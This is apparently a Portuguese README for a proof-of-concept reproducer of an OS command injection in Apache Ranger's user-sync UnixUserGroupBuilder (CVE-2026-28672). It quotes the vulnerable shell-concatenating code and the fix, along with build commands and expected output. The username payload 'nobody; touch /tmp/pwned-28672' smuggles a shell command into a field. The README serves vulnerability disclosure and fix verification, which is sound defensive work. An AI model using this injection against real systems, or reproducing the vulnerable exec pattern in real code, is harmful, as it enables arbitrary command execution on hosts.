
Reprodutor de prova de conceito para injeção de comandos do SO no UnixUserGroupBuilder do Apache Ranger (CVE-2026-28672), demonstrando a vulnerabilidade e verificando a correção.
UnixUserGroupBuilder do Apache RangerReprodutor executável de prova de conceito para a injeção de comando no sistema operacional no módulo user-sync (unixusersync) do Apache Ranger.
Ao enumerar os grupos de cada usuário sincronizado, o UnixUserGroupBuilder executa o comando id por meio de um shell, concatenando o nome de usuário na linha de comando:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
O nome de usuário vem da fonte do user-sync configurada (LDAP/AD ou um arquivo), portanto é influenciado pelo atacante. Um nome de usuário contendo metacaracteres de shell — ex.: alice; touch /tmp/pwned — é executado como um comando do sistema operacional (CWE-77, Neutralização Incorreta de Elementos Especiais usados em um Comando).
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
Saída esperada no caminho de código vulnerável:
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
| Propriedade | Valor |
|---|---|
| Projeto | Apache Ranger — org.apache.ranger.unixusersync (user-sync) |
| Classe | CWE-77 Neutralização Incorreta de Elementos Especiais usados em um Comando ('Injeção de Comando') |
| Vetor de ataque | Um nome de usuário contendo metacaracteres de shell fornecido pela fonte do user-sync |
| Impacto | Execução arbitrária de comandos do sistema operacional no host do user-sync do Ranger |
| Versões afetadas | de 0.6 até 2.8 |
| Versão corrigida | 2.9.0 |
| Aviso | thread do lists.apache.org · CVE-2026-28672 |
| Crédito | Andrea Cosentino |
O Apache Ranger 2.9.0 executa id diretamente como um vetor de argumentos, portanto o nome de usuário é um único argumento literal e nunca é interpretado por um shell:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
O UnixUserGroupBuilderVuln.java neste repositório contém ambas as formas na íntegra, citadas a partir da fonte upstream.
Este repositório é publicado para fins educacionais e defensivos: ajudar os usuários do Apache Ranger a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. O payload é inofensivo (ele cria um arquivo marcador em /tmp). Não use este material contra sistemas que você não possui ou opera.